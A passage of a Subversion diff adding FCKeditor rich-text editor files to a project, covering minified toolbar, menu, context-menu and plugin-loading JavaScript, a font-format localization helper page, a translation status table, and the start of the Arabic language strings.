+function FCKToolbarSet_Create(overhideLocation){var oToolbarSet;var sLocation=overhideLocation||FCKConfig.ToolbarLocation;switch (sLocation){case 'In':document.getElementById('xToolbarRow').style.display='';oToolbarSet=new FCKToolbarSet(document);break;default:FCK.Events.AttachEvent('OnBlur',FCK_OnBlur);FCK.Events.AttachEvent('OnFocus',FCK_OnFocus);var eToolbarTarget;var oOutMatch=sLocation.match(/^Out:(.+)\((\w+)\)$/);if (oOutMatch){eToolbarTarget=eval('parent.'+oOutMatch[1]).document.getElementById(oOutMatch[2]);}else{oOutMatch=sLocation.match(/^Out:(\w+)$/);if (oOutMatch) eToolbarTarget=parent.document.getElementById(oOutMatch[1]);};if (!eToolbarTarget){alert('Invalid value for "ToolbarLocation"');return this._Init('In');};if (oToolbarSet=eToolbarTarget.__FCKToolbarSet) break;var eToolbarIFrame=FCKTools.GetElementDocument(eToolbarTarget).createElement('iframe');eToolbarIFrame.frameBorder=0;eToolbarIFrame.width='100%';eToolbarIFrame.height='10';eToolbarTarget.appendChild(eToolbarIFrame);eToolbarIFrame.unselectable='on';var eTargetDocument=eToolbarIFrame.contentWindow.document;eTargetDocument.open();eTargetDocument.write('<html><head><script type="text/javascript"> window.onload = window.onresize = function() { window.frameElement.height = document.body.scrollHeight ; } </script></head><body style="overflow: hidden">'+document.getElementById('xToolbarSpace').innerHTML+'</body></html>');eTargetDocument.close();eTargetDocument.oncontextmenu=FCKTools.CancelEvent;FCKTools.AppendStyleSheet(eTargetDocument,FCKConfig.SkinPath+'fck_editor.css');oToolbarSet=eToolbarTarget.__FCKToolbarSet=new FCKToolbarSet(eTargetDocument);oToolbarSet._IFrame=eToolbarIFrame;if (FCK.IECleanup) FCK.IECleanup.AddItem(eToolbarTarget,FCKToolbarSet_Target_Cleanup);};oToolbarSet.CurrentInstance=FCK;FCK.AttachToOnSelectionChange(oToolbarSet.RefreshItemsState);return oToolbarSet;};function FCK_OnBlur(editorInstance){var eToolbarSet=editorInstance.ToolbarSet;if (eToolbarSet.CurrentInstance==editorInstance) eToolbarSet.Disable();};function FCK_OnFocus(editorInstance){var oToolbarset=editorInstance.ToolbarSet;var oInstance=editorInstance||FCK;oToolbarset.CurrentInstance.FocusManager.RemoveWindow(oToolbarset._IFrame.contentWindow);oToolbarset.CurrentInstance=oInstance;oInstance.FocusManager.AddWindow(oToolbarset._IFrame.contentWindow,true);oToolbarset.Enable();};function FCKToolbarSet_Cleanup(){this._TargetElement=null;this._IFrame=null;};function FCKToolbarSet_Target_Cleanup(){this.__FCKToolbarSet=null;};var FCKToolbarSet=function(A){this._Document=A;this._TargetElement=A.getElementById('xToolbar');var B=A.getElementById('xExpandHandle');var C=A.getElementById('xCollapseHandle');B.title=FCKLang.ToolbarExpand;B.onclick=FCKToolbarSet_Expand_OnClick;C.title=FCKLang.ToolbarCollapse;C.onclick=FCKToolbarSet_Collapse_OnClick;if (!FCKConfig.ToolbarCanCollapse||FCKConfig.ToolbarStartExpanded) this.Expand();else this.Collapse();C.style.display=FCKConfig.ToolbarCanCollapse?'':'none';if (FCKConfig.ToolbarCanCollapse) C.style.display='';else A.getElementById('xTBLeftBorder').style.display='';this.Toolbars=new Array();this.IsLoaded=false;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarSet_Cleanup);};function FCKToolbarSet_Expand_OnClick(){FCK.ToolbarSet.Expand();};function FCKToolbarSet_Collapse_OnClick(){FCK.ToolbarSet.Collapse();};FCKToolbarSet.prototype.Expand=function(){this._ChangeVisibility(false);};FCKToolbarSet.prototype.Collapse=function(){this._ChangeVisibility(true);};FCKToolbarSet.prototype._ChangeVisibility=function(A){this._Document.getElementById('xCollapsed').style.display=A?'':'none';this._Document.getElementById('xExpanded').style.display=A?'none':'';if (FCKBrowserInfo.IsGecko){FCKTools.RunFunction(window.onresize);}};FCKToolbarSet.prototype.Load=function(A){this.Name=A;this.Items=new Array();this.ItemsWysiwygOnly=new Array();this.ItemsContextSensitive=new Array();this._TargetElement.innerHTML='';var B=FCKConfig.ToolbarSets[A];if (!B){alert(FCKLang.UnknownToolbarSet.replace(/%1/g,A));return;};this.Toolbars=new Array();for (var x=0;x<B.length;x++){var C=B[x];var D;if (typeof(C)=='string'){if (C=='/') D=new FCKToolbarBreak();}else{D=new FCKToolbar();for (var j=0;j<C.length;j++){var E=C[j];if (E=='-') D.AddSeparator();else{var F=FCKToolbarItems.GetItem(E);if (F){D.AddItem(F);this.Items.push(F);if (!F.SourceView) this.ItemsWysiwygOnly.push(F);if (F.ContextSensitive) this.ItemsContextSensitive.push(F);}}}};D.Create(this._TargetElement);this.Toolbars[this.Toolbars.length]=D;};FCKTools.DisableSelection(this._Document.getElementById('xCollapseHandle').parentNode);if (FCK.Status!=FCK_STATUS_COMPLETE) FCK.Events.AttachEvent('OnStatusChange',this.RefreshModeState);else this.RefreshModeState();this.IsLoaded=true;this.IsEnabled=true;FCKTools.RunFunction(this.OnLoad);};FCKToolbarSet.prototype.Enable=function(){if (this.IsEnabled) return;this.IsEnabled=true;var A=this.Items;for (var i=0;i<A.length;i++) A[i].RefreshState();};FCKToolbarSet.prototype.Disable=function(){if (!this.IsEnabled) return;this.IsEnabled=false;var A=this.Items;for (var i=0;i<A.length;i++) A[i].Disable();};FCKToolbarSet.prototype.RefreshModeState=function(A){if (FCK.Status!=FCK_STATUS_COMPLETE) return;var B=A?A.ToolbarSet:this;var C=B.ItemsWysiwygOnly;if (FCK.EditMode==FCK_EDITMODE_WYSIWYG){for (var i=0;i<C.length;i++) C[i].Enable();B.RefreshItemsState(A);}else{B.RefreshItemsState(A);for (var i=0;i<C.length;i++) C[i].Disable();}};FCKToolbarSet.prototype.RefreshItemsState=function(A){var B=(A?A.ToolbarSet:this).ItemsContextSensitive;for (var i=0;i<B.length;i++) B[i].RefreshState();};
+var FCKDialog=new Object();FCKDialog.OpenDialog=function(A,B,C,D,E,F,G,H){var I=new Object();I.Title=B;I.Page=C;I.Editor=window;I.CustomValue=F;var J=FCKConfig.BasePath+'fckdialog.html';this.Show(I,A,J,D,E,G,H);};
+FCKDialog.Show=function(A,B,C,D,E,F){if (!F) F=window;FCKFocusManager.Lock();var G;try{G=F.showModalDialog(C,A,"dialogWidth:"+D+"px;dialogHeight:"+E+"px;help:no;scroll:no;status:no");}catch(e){};if (!G) alert(FCKLang.DialogBlocked);FCKFocusManager.Unlock();};
+var FCKMenuItem=function(A,B,C,D,E){this.Name=B;this.Label=C||B;this.IsDisabled=E;this.Icon=new FCKIcon(D);this.SubMenu=new FCKMenuBlockPanel();this.SubMenu.Parent=A;this.SubMenu.OnClick=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnClick,this);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuItem_Cleanup);};FCKMenuItem.prototype.AddItem=function(A,B,C,D){this.HasSubMenu=true;return this.SubMenu.AddItem(A,B,C,D);};FCKMenuItem.prototype.AddSeparator=function(){this.SubMenu.AddSeparator();};FCKMenuItem.prototype.Create=function(A){var B=this.HasSubMenu;var C=FCKTools.GetElementDocument(A);var r=this.MainElement=A.insertRow(-1);r.className=this.IsDisabled?'MN_Item_Disabled':'MN_Item';if (!this.IsDisabled){FCKTools.AddEventListenerEx(r,'mouseover',FCKMenuItem_OnMouseOver,[this]);FCKTools.AddEventListenerEx(r,'click',FCKMenuItem_OnClick,[this]);if (!B) FCKTools.AddEventListenerEx(r,'mouseout',FCKMenuItem_OnMouseOut,[this]);};var D=r.insertCell(-1);D.className='MN_Icon';D.appendChild(this.Icon.CreateIconElement(C));D=r.insertCell(-1);D.className='MN_Label';D.noWrap=true;D.appendChild(C.createTextNode(this.Label));D=r.insertCell(-1);if (B){D.className='MN_Arrow';var E=D.appendChild(C.createElement('IMG'));E.src=FCK_IMAGES_PATH+'arrow_'+FCKLang.Dir+'.gif';E.width=4;E.height=7;this.SubMenu.Create();this.SubMenu.Panel.OnHide=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnHide,this);}};FCKMenuItem.prototype.Activate=function(){this.MainElement.className='MN_Item_Over';if (this.HasSubMenu){this.SubMenu.Show(this.MainElement.offsetWidth+2,-2,this.MainElement);};FCKTools.RunFunction(this.OnActivate,this);};FCKMenuItem.prototype.Deactivate=function(){this.MainElement.className='MN_Item';if (this.HasSubMenu) this.SubMenu.Hide();};/* Events */ function FCKMenuItem_SubMenu_OnClick(clickedItem,listeningItem){FCKTools.RunFunction(listeningItem.OnClick,listeningItem,[clickedItem]);};function FCKMenuItem_SubMenu_OnHide(menuItem){menuItem.Deactivate();};function FCKMenuItem_OnClick(ev,menuItem){if (menuItem.HasSubMenu) menuItem.Activate();else{menuItem.Deactivate();FCKTools.RunFunction(menuItem.OnClick,menuItem,[menuItem]);}};function FCKMenuItem_OnMouseOver(ev,menuItem){menuItem.Activate();};function FCKMenuItem_OnMouseOut(ev,menuItem){menuItem.Deactivate();};function FCKMenuItem_Cleanup(){this.MainElement=null;}
+var FCKMenuBlock=function(){this._Items=new Array();};FCKMenuBlock.prototype.Count=function(){return this._Items.length;};FCKMenuBlock.prototype.AddItem=function(A,B,C,D){var E=new FCKMenuItem(this,A,B,C,D);E.OnClick=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnClick,this);E.OnActivate=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnActivate,this);this._Items.push(E);return E;};FCKMenuBlock.prototype.AddSeparator=function(){this._Items.push(new FCKMenuSeparator());};FCKMenuBlock.prototype.RemoveAllItems=function(){this._Items=new Array();var A=this._ItemsTable;if (A){while (A.rows.length>0) A.deleteRow(0);}};FCKMenuBlock.prototype.Create=function(A){if (!this._ItemsTable){if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuBlock_Cleanup);this._Window=FCKTools.GetElementWindow(A);var B=FCKTools.GetElementDocument(A);var C=A.appendChild(B.createElement('table'));C.cellPadding=0;C.cellSpacing=0;FCKTools.DisableSelection(C);var D=C.insertRow(-1).insertCell(-1);D.className='MN_Menu';var E=this._ItemsTable=D.appendChild(B.createElement('table'));E.cellPadding=0;E.cellSpacing=0;};for (var i=0;i<this._Items.length;i++) this._Items[i].Create(this._ItemsTable);};/* Events */ function FCKMenuBlock_Item_OnClick(clickedItem,menuBlock){FCKTools.RunFunction(menuBlock.OnClick,menuBlock,[clickedItem]);};function FCKMenuBlock_Item_OnActivate(menuBlock){var oActiveItem=menuBlock._ActiveItem;if (oActiveItem&&oActiveItem!=this){if (!FCKBrowserInfo.IsIE&&oActiveItem.HasSubMenu&&!this.HasSubMenu) menuBlock._Window.focus();oActiveItem.Deactivate();};menuBlock._ActiveItem=this;};function FCKMenuBlock_Cleanup(){this._Window=null;this._ItemsTable=null;};var FCKMenuSeparator=function(){};FCKMenuSeparator.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var r=A.insertRow(-1);var C=r.insertCell(-1);C.className='MN_Separator MN_Icon';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';}
+var FCKMenuBlockPanel=function(){FCKMenuBlock.call(this);};FCKMenuBlockPanel.prototype=new FCKMenuBlock();FCKMenuBlockPanel.prototype.Create=function(){var A=this.Panel=(this.Parent&&this.Parent.Panel?this.Parent.Panel.CreateChildPanel():new FCKPanel());A.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');FCKMenuBlock.prototype.Create.call(this,A.MainNode);};FCKMenuBlockPanel.prototype.Show=function(x,y,A){if (!this.Panel.CheckIsOpened()) this.Panel.Show(x,y,A);};FCKMenuBlockPanel.prototype.Hide=function(){if (this.Panel.CheckIsOpened()) this.Panel.Hide();}
+var FCKContextMenu=function(A,B,C){var D=this._Panel=new FCKPanel(A,true);D.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');D.IsContextMenu=true;var E=this._MenuBlock=new FCKMenuBlock();E.Panel=D;E.OnClick=FCKTools.CreateEventListener(FCKContextMenu_MenuBlock_OnClick,this);this._Redraw=true;this.SetMouseClickWindow(B||A);};FCKContextMenu.prototype.SetMouseClickWindow=function(A){if (!FCKBrowserInfo.IsIE){this._Document=A.document;this._Document.addEventListener('contextmenu',FCKContextMenu_Document_OnContextMenu,false);}};FCKContextMenu.prototype.AddItem=function(A,B,C,D){var E=this._MenuBlock.AddItem(A,B,C,D);this._Redraw=true;return E;};FCKContextMenu.prototype.AddSeparator=function(){this._MenuBlock.AddSeparator();this._Redraw=true;};FCKContextMenu.prototype.RemoveAllItems=function(){this._MenuBlock.RemoveAllItems();this._Redraw=true;};FCKContextMenu.prototype.AttachToElement=function(A){if (FCKBrowserInfo.IsIE) FCKTools.AddEventListenerEx(A,'contextmenu',FCKContextMenu_AttachedElement_OnContextMenu,this);else A._FCKContextMenu=this;};function FCKContextMenu_Document_OnContextMenu(e){var el=e.target;while (el){if (el._FCKContextMenu){FCKTools.CancelEvent(e);FCKContextMenu_AttachedElement_OnContextMenu(e,el._FCKContextMenu,el);};el=el.parentNode;}};function FCKContextMenu_AttachedElement_OnContextMenu(ev,fckContextMenu,el){var eTarget=el||this;if (fckContextMenu.OnBeforeOpen) fckContextMenu.OnBeforeOpen.call(fckContextMenu,eTarget);if (fckContextMenu._MenuBlock.Count()==0) return false;if (fckContextMenu._Redraw){fckContextMenu._MenuBlock.Create(fckContextMenu._Panel.MainNode);fckContextMenu._Redraw=false;};fckContextMenu._Panel.Show(ev.pageX||ev.screenX,ev.pageY||ev.screenY,ev.currentTarget||null);return false;};function FCKContextMenu_MenuBlock_OnClick(menuItem,contextMenu){contextMenu._Panel.Hide();FCKTools.RunFunction(contextMenu.OnItemClick,contextMenu,menuItem);}
+FCK.ContextMenu=new Object();FCK.ContextMenu.Listeners=new Array();FCK.ContextMenu.RegisterListener=function(A){if (A) this.Listeners.push(A);};function FCK_ContextMenu_Init(){var oInnerContextMenu=FCK.ContextMenu._InnerContextMenu=new FCKContextMenu(FCKBrowserInfo.IsIE?window:window.parent,FCK.EditorWindow,FCKLang.Dir);oInnerContextMenu.OnBeforeOpen=FCK_ContextMenu_OnBeforeOpen;oInnerContextMenu.OnItemClick=FCK_ContextMenu_OnItemClick;var oMenu=FCK.ContextMenu;for (var i=0;i<FCKConfig.ContextMenu.length;i++) oMenu.RegisterListener(FCK_ContextMenu_GetListener(FCKConfig.ContextMenu[i]));};function FCK_ContextMenu_GetListener(listenerName){switch (listenerName){case 'Generic':return {AddItems:function(A,B,C){A.AddItem('Cut',FCKLang.Cut,7,FCKCommands.GetCommand('Cut').GetState()==FCK_TRISTATE_DISABLED);A.AddItem('Copy',FCKLang.Copy,8,FCKCommands.GetCommand('Copy').GetState()==FCK_TRISTATE_DISABLED);A.AddItem('Paste',FCKLang.Paste,9,FCKCommands.GetCommand('Paste').GetState()==FCK_TRISTATE_DISABLED);}};case 'Table':return {AddItems:function(A,B,C){var D=(C=='TABLE');var E=(!D&&FCKSelection.HasAncestorNode('TABLE'));if (E){A.AddSeparator();var F=A.AddItem('Cell',FCKLang.CellCM);F.AddItem('TableInsertCell',FCKLang.InsertCell,58);F.AddItem('TableDeleteCells',FCKLang.DeleteCells,59);F.AddItem('TableMergeCells',FCKLang.MergeCells,60);F.AddItem('TableSplitCell',FCKLang.SplitCell,61);F.AddSeparator();F.AddItem('TableCellProp',FCKLang.CellProperties,57);A.AddSeparator();F=A.AddItem('Row',FCKLang.RowCM);F.AddItem('TableInsertRow',FCKLang.InsertRow,62);F.AddItem('TableDeleteRows',FCKLang.DeleteRows,63);A.AddSeparator();F=A.AddItem('Column',FCKLang.ColumnCM);F.AddItem('TableInsertColumn',FCKLang.InsertColumn,64);F.AddItem('TableDeleteColumns',FCKLang.DeleteColumns,65);};if (D||E){A.AddSeparator();A.AddItem('TableDelete',FCKLang.TableDelete);A.AddItem('TableProp',FCKLang.TableProperties,39);}}};case 'Link':return {AddItems:function(A,B,C){var D=(C=='A'||FCKSelection.HasAncestorNode('A'));if (D||FCK.GetNamedCommandState('Unlink')!=FCK_TRISTATE_DISABLED){A.AddSeparator();if (D) A.AddItem('Link',FCKLang.EditLink,34);A.AddItem('Unlink',FCKLang.RemoveLink,35);}}};case 'Image':return {AddItems:function(A,B,C){if (C=='IMG'&&!B.getAttribute('_fckfakelement')){A.AddSeparator();A.AddItem('Image',FCKLang.ImageProperties,37);}}};case 'Anchor':return {AddItems:function(A,B,C){if (C=='IMG'&&B.getAttribute('_fckanchor')){A.AddSeparator();A.AddItem('Anchor',FCKLang.AnchorProp,36);}}};case 'Flash':return {AddItems:function(A,B,C){if (C=='IMG'&&B.getAttribute('_fckflash')){A.AddSeparator();A.AddItem('Flash',FCKLang.FlashProperties,38);}}};case 'Form':return {AddItems:function(A,B,C){if (FCKSelection.HasAncestorNode('FORM')){A.AddSeparator();A.AddItem('Form',FCKLang.FormProp,48);}}};case 'Checkbox':return {AddItems:function(A,B,C){if (C=='INPUT'&&B.type=='checkbox'){A.AddSeparator();A.AddItem('Checkbox',FCKLang.CheckboxProp,49);}}};case 'Radio':return {AddItems:function(A,B,C){if (C=='INPUT'&&B.type=='radio'){A.AddSeparator();A.AddItem('Radio',FCKLang.RadioButtonProp,50);}}};case 'TextField':return {AddItems:function(A,B,C){if (C=='INPUT'&&(B.type=='text'||B.type=='password')){A.AddSeparator();A.AddItem('TextField',FCKLang.TextFieldProp,51);}}};case 'HiddenField':return {AddItems:function(A,B,C){if (C=='INPUT'&&B.type=='hidden'){A.AddSeparator();A.AddItem('HiddenField',FCKLang.HiddenFieldProp,56);}}};case 'ImageButton':return {AddItems:function(A,B,C){if (C=='INPUT'&&B.type=='image'){A.AddSeparator();A.AddItem('ImageButton',FCKLang.ImageButtonProp,55);}}};case 'Button':return {AddItems:function(A,B,C){if (C=='INPUT'&&(B.type=='button'||B.type=='submit'||B.type=='reset')){A.AddSeparator();A.AddItem('Button',FCKLang.ButtonProp,54);}}};case 'Select':return {AddItems:function(A,B,C){if (C=='SELECT'){A.AddSeparator();A.AddItem('Select',FCKLang.SelectionFieldProp,53);}}};case 'Textarea':return {AddItems:function(A,B,C){if (C=='TEXTAREA'){A.AddSeparator();A.AddItem('Textarea',FCKLang.TextareaProp,52);}}};case 'BulletedList':return {AddItems:function(A,B,C){if (FCKSelection.HasAncestorNode('UL')){A.AddSeparator();A.AddItem('BulletedList',FCKLang.BulletedListProp,27);}}};case 'NumberedList':return {AddItems:function(A,B,C){if (FCKSelection.HasAncestorNode('OL')){A.AddSeparator();A.AddItem('NumberedList',FCKLang.NumberedListProp,26);}}};}};function FCK_ContextMenu_OnBeforeOpen(){FCK.Events.FireEvent("OnSelectionChange");var oTag,sTagName;if (oTag=FCKSelection.GetSelectedElement()) sTagName=oTag.tagName;var oMenu=FCK.ContextMenu._InnerContextMenu;oMenu.RemoveAllItems();var aListeners=FCK.ContextMenu.Listeners;for (var i=0;i<aListeners.length;i++) aListeners[i].AddItems(oMenu,oTag,sTagName);};function FCK_ContextMenu_OnItemClick(item){FCK.Focus();FCKCommands.GetCommand(item.Name).Execute();}
+var FCKPlugin=function(A,B,C){this.Name=A;this.BasePath=C?C:FCKConfig.PluginsPath;this.Path=this.BasePath+A+'/';if (!B||B.length==0) this.AvailableLangs=new Array();else this.AvailableLangs=B.split(',');};FCKPlugin.prototype.Load=function(){if (this.AvailableLangs.length>0){var A;if (this.AvailableLangs.indexOf(FCKLanguageManager.ActiveLanguage.Code)>=0) A=FCKLanguageManager.ActiveLanguage.Code;else A=this.AvailableLangs[0];LoadScript(this.Path+'lang/'+A+'.js');};LoadScript(this.Path+'fckplugin.js');}
+var FCKPlugins=FCK.Plugins=new Object();FCKPlugins.ItemsCount=0;FCKPlugins.Items=new Object();FCKPlugins.Load=function(){var A=FCKPlugins.Items;for (var i=0;i<FCKConfig.Plugins.Items.length;i++){var B=FCKConfig.Plugins.Items[i];var C=A[B[0]]=new FCKPlugin(B[0],B[1],B[2]);FCKPlugins.ItemsCount++;};for (var s in A) A[s].Load();FCKPlugins.Load=null;}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/_getfontformat.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/_getfontformat.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/_getfontformat.html	(revision 44)
@@ -0,0 +1,66 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+	<head>
+		<title></title>
+		<meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
+	</head>
+	<script language="javascript">
+
+window.onload = function()
+{
+	var oRange = document.selection.createRange() ;
+	
+	var sNormal ;
+	var sFormats = '' ;
+	for ( var i = 1 ; i <= 9 ; i++ )
+	{
+		oRange.moveToElementText( document.getElementById( 'x' + i ) ) ;
+		sFormats += oRange.queryCommandValue( 'FormatBlock' ) ;
+		if ( i == 1 )
+			sNormal = sFormats ;
+		sFormats += ';' ;
+	}
+	
+	document.getElementById('xFontFormats').innerHTML = sFormats + sNormal + ' (DIV)' ;
+}
+	</script>
+	<body>
+		<table width="70%" align="center">
+			<tr>
+				<td>
+					<h3>FontFormats Localization</h3>
+					<p>
+						IE has some limits when handling the "Font Format". It actually uses localized 
+						strings to retrieve the current format value. This makes it very difficult to 
+						make a system that works on every single computer in the world.
+					</p>
+					<p>
+						With FCKeditor, this problem impacts in the "Format" toolbar command that 
+						doesn't reflects the format of the current cursor position.
+					</p>
+					<p>
+						There is only one way to make it work. We must localize FCKeditor using the 
+						strings used by IE. In this way, we will have the expected behavior at least 
+						when using FCKeditor in the same language as the browser. So, when localizing 
+						FCKeditor, go to a computer with IE in the target language, open this page and 
+						use the following string to the "FontFormats" value:
+					</p>
+					<div style="white-space: nowrap">
+						FontFormats : "<span id="xFontFormats" style="COLOR: #000099"></span>",
+					</div>
+				</td>
+			</tr>
+		</table>
+		<div style="DISPLAY: none">
+			<p id="x1">&nbsp;</p>
+			<pre id="x2">&nbsp;</pre>
+			<address id="x3">&nbsp;</address>
+			<h1 id="x4">&nbsp;</h1>
+			<h2 id="x5">&nbsp;</h2>
+			<h3 id="x6">&nbsp;</h3>
+			<h4 id="x7">&nbsp;</h4>
+			<h5 id="x8">&nbsp;</h5>
+			<h6 id="x9">&nbsp;</h6>
+		</div>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/_translationstatus.txt
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/_translationstatus.txt	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/_translationstatus.txt	(revision 44)
@@ -0,0 +1,71 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: _translationstatus.txt
+ * 	Translations Status.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+ar.js      Found: 388   Missing: 15
+bg.js      Found: 380   Missing: 23
+bn.js      Found: 388   Missing: 15
+bs.js      Found: 232   Missing: 171
+ca.js      Found: 403   Missing: 0
+cs.js      Found: 388   Missing: 15
+da.js      Found: 388   Missing: 15
+de.js      Found: 403   Missing: 0
+el.js      Found: 403   Missing: 0
+en-au.js   Found: 403   Missing: 0
+en-ca.js   Found: 403   Missing: 0
+en-uk.js   Found: 403   Missing: 0
+eo.js      Found: 352   Missing: 51
+es.js      Found: 388   Missing: 15
+et.js      Found: 388   Missing: 15
+eu.js      Found: 388   Missing: 15
+fa.js      Found: 388   Missing: 15
+fi.js      Found: 388   Missing: 15
+fo.js      Found: 358   Missing: 45
+fr.js      Found: 403   Missing: 0
+gl.js      Found: 388   Missing: 15
+he.js      Found: 388   Missing: 15
+hi.js      Found: 403   Missing: 0
+hr.js      Found: 403   Missing: 0
+hu.js      Found: 402   Missing: 1
+it.js      Found: 388   Missing: 15
+ja.js      Found: 403   Missing: 0
+km.js      Found: 377   Missing: 26
+ko.js      Found: 375   Missing: 28
+lt.js      Found: 383   Missing: 20
+lv.js      Found: 388   Missing: 15
+mn.js      Found: 232   Missing: 171
+ms.js      Found: 358   Missing: 45
+nb.js      Found: 388   Missing: 15
+nl.js      Found: 403   Missing: 0
+no.js      Found: 388   Missing: 15
+pl.js      Found: 388   Missing: 15
+pt-br.js   Found: 384   Missing: 19
+pt.js      Found: 388   Missing: 15
+ro.js      Found: 388   Missing: 15
+ru.js      Found: 403   Missing: 0
+sk.js      Found: 383   Missing: 20
+sl.js      Found: 380   Missing: 23
+sr-latn.js Found: 375   Missing: 28
+sr.js      Found: 375   Missing: 28
+sv.js      Found: 383   Missing: 20
+th.js      Found: 352   Missing: 51
+tr.js      Found: 388   Missing: 15
+uk.js      Found: 375   Missing: 28
+vi.js      Found: 403   Missing: 0
+zh-cn.js   Found: 388   Missing: 15
+zh.js      Found: 403   Missing: 0
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ar.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ar.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ar.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: ar.js
+ * 	Arabic language file.
+ * 
+ * File Authors:
+ * 		Abdul-Aziz Abdul-Kareem Al-Oraij (http://aziz.oraij.com)
+ * 		Abu Faisal (http://www.24at24.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "rtl",
+
+ToolbarCollapse		: "ضم شريط الأدوات",
+ToolbarExpand		: "تمدد شريط الأدوات",
+
+// Toolbar Items and Context Menu
+Save				: "حفظ",
+NewPage				: "صفحة جديدة",
+Preview				: "معاينة الصفحة",
+Cut					: "قص",
+Copy				: "نسخ",
+Paste				: "لصق",
+PasteText			: "لصق كنص بسيط",
+PasteWord			: "لصق من وورد",
+Print				: "طباعة",
+SelectAll			: "تحديد الكل",
+RemoveFormat		: "إزالة التنسيقات",
+InsertLinkLbl		: "رابط",
+InsertLink			: "إدراج/تحرير رابط",
+RemoveLink			: "إزالة رابط",
+Anchor				: "إدراج/تحرير إشارة مرجعية",
+InsertImageLbl		: "صورة",
+InsertImage			: "إدراج/تحرير صورة",
+InsertFlashLbl		: "فلاش",
+InsertFlash			: "إدراج/تحرير فيلم فلاش",
+InsertTableLbl		: "جدول",
+InsertTable			: "إدراج/تحرير جدول",
+InsertLineLbl		: "خط فاصل",
+InsertLine			: "إدراج خط فاصل",
+InsertSpecialCharLbl: "رموز",
+InsertSpecialChar	: "إدراج  رموز..ِ",
+InsertSmileyLbl		: "ابتسامات",
+InsertSmiley		: "إدراج ابتسامات",
+About				: "حول FCKeditor",
+Bold				: "غامق",
+Italic				: "مائل",
+Underline			: "تسطير",
+StrikeThrough		: "يتوسطه خط",
+Subscript			: "منخفض",
+Superscript			: "مرتفع",
+LeftJustify			: "محاذاة إلى اليسار",
+CenterJustify		: "توسيط",
+RightJustify		: "محاذاة إلى اليمين",
+BlockJustify		: "ضبط",
+DecreaseIndent		: "إنقاص المسافة البادئة",
+IncreaseIndent		: "زيادة المسافة البادئة",
+Undo				: "تراجع",
+Redo				: "إعادة",
+NumberedListLbl		: "تعداد رقمي",
+NumberedList		: "إدراج/إلغاء تعداد رقمي",
+BulletedListLbl		: "تعداد نقطي",
+BulletedList		: "إدراج/إلغاء تعداد نقطي",
+ShowTableBorders	: "معاينة حدود الجداول",
+ShowDetails			: "معاينة التفاصيل",
+Style				: "نمط",
+FontFormat			: "تنسيق",
+Font				: "خط",
+FontSize			: "حجم الخط",
+TextColor			: "لون النص",
+BGColor				: "لون الخلفية",
+Source				: "شفرة المصدر",
+Find				: "بحث",
+Replace				: "إستبدال",
+SpellCheck			: "تدقيق إملائي",
+UniversalKeyboard	: "لوحة المفاتيح العالمية",
+PageBreakLbl		: "فصل الصفحة",
+PageBreak			: "إدخال صفحة جديدة",
+
+Form			: "نموذج",
+Checkbox		: "خانة إختيار",
+RadioButton		: "زر خيار",
+TextField		: "مربع نص",
+Textarea		: "ناحية نص",
+HiddenField		: "إدراج حقل خفي",
+Button			: "زر ضغط",
+SelectionField	: "قائمة منسدلة",
+ImageButton		: "زر صورة",
+
+FitWindow		: "تكبير حجم المحرر",
+
+// Context Menu
+EditLink			: "تحرير رابط",
+CellCM				: "خلية",
+RowCM				: "صف",
+ColumnCM			: "عمود",
+InsertRow			: "إدراج صف",
+DeleteRows			: "حذف صفوف",
+InsertColumn		: "إدراج عمود",
+DeleteColumns		: "حذف أعمدة",
+InsertCell			: "إدراج خلية",
+DeleteCells			: "حذف خلايا",
+MergeCells			: "دمج خلايا",
+SplitCell			: "تقسيم خلية",
+TableDelete			: "حذف الجدول",
+CellProperties		: "خصائص الخلية",
+TableProperties		: "خصائص الجدول",
+ImageProperties		: "خصائص الصورة",
+FlashProperties		: "خصائص فيلم الفلاش",
+
+AnchorProp			: "خصائص الإشارة المرجعية",
